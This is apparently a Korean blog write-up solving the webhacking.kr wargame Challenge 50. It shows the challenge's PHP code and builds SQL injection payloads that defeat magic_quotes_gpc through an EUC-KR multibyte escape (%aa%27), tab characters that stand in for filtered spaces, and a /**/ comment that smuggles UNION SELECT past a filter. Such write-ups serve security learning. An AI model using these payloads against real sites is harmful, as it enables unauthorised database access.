본문 바로가기

WarGame/webhacking.kr

[webhacking.kr] Challenge 50 :: SQL Injection ( mb_convert_encoding )



 Summary 
  • mb_convert_encoding() 함수의 취약점을 이용한 magic_quotes_gpc 우회
  • /**/ Comment Block



▼ Challenge 50은 다음과 같습니다.



 PHP 코드는 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
 
foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}
 
if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
 
if($data)
{
if($data[0]=="1"echo("level : 1<br><br>");
if($data[0]=="2"echo("level : 2<br><br>");
 
if($data[0]=="3")
{
@solve();
}
 
if(!$data)
{
echo("Wrong");
}
 
}
?>
cs

  • mb_convert_ecoding($str, $to_encoding, $from_encoding) : $from_encoding으로 인코딩된 $str을 $to_encoding으로 인코딩
  • foreach($array as $value) { statement } : 현재 $array의 요소를 $value로 가져와서 statement를 반복
  • 5번 라인 : $_GET[id] 값을 mb_convert_encoding() 함수를 이용하여 인코딩
  • 7 ~ 18번 라인 : $_GET[id]와 $_GET[pw] 입력값 필터링
  • 21번 라인 : $_GET[id]에서만 "union" 문자열 필터링
  • 23번 라인 : "id"와 "pw"에 해당하는 "lv" 출력
  • 31번 라인 : "lv"가 "3"이면 @solve()

첫번째 해야할 일은 Injection Vector를 찾는 것입니다. id와 pw 모두 String 타입으로, Vector로써 적합하지 않지만 $_GET[id]값을
mb_convert_encoding() 함수를 사용하여 인코딩하고 있습니다.


  What is mb_convert_encoding() vulnerability?

  멀티바이트를 사용하는 언어셋 환경에서는 백슬래시 앞에 %a1 ~ %fe 의 값이 들어오면 %a1\가 한개의 문자처럼 취급되어 

  백슬래시를 먹어버린다고 합니다.

                   --------------------------------------------------------------------------------------------

                           입력값          =>          magic_quotes_gpc          =>         최종 입력값              

                   --------------------------------------------------------------------------------------------

                      1%aa' or 1=1#                   1%aa\' or 1=1#                        1*' or 1=1#               

                   --------------------------------------------------------------------------------------------

                                                                                                      ( *는 임의의 문자) 

  참고] http://hackerschool.org/Sub_Html/HS_Posting/?uid=42


 

 위 방법을 이용하여 다음과 같은 Query문을 만들 수 있습니다.

1
?id=%aa%27%09or%09lv%09like%093%23&pw=guest (공백이 필터링되어, "Tap"으로 우회)
cs
그러나 "Wrong" 이라는 결과가 나옵니다. 해당 값이 없다는 뜻입니다. "like 2"를 입력해도 "Wrong"이 나옵니다. "like 1"을 입력하면 "level : 1"이라는 문구가 나옵니다. 즉 해당 Table에는 lv 값 2와 3은 없습니다.

그러므로 "union select 3" 이런 방법으로 임의의 값 "3"을 출력시키는 방법 밖에 없습니다.


PHP코드의 21번 라인에서 $_GET[id]에서만 "union" 문자열을 필터링하였습니다. 따라서 $_GET[pw]에서는 "union"을 사용할 수 있습니다. 하지만 md5() 함수로 둘러쌓여 있으므로, /**/ Comment Block을 이용하여 무효화시킬 수 있습니다.

 다음과 같은 Query문을 만들 수 있습니다.

?id=%aa%27/*&pw=*/union%09select%093%23
cs


 실제 SQL 구문은 다음과 같습니다.

1
SELECT lv FROM member WHERE id='%aa'/*' and pw=md5('*/UNION SELECT 3#');
cs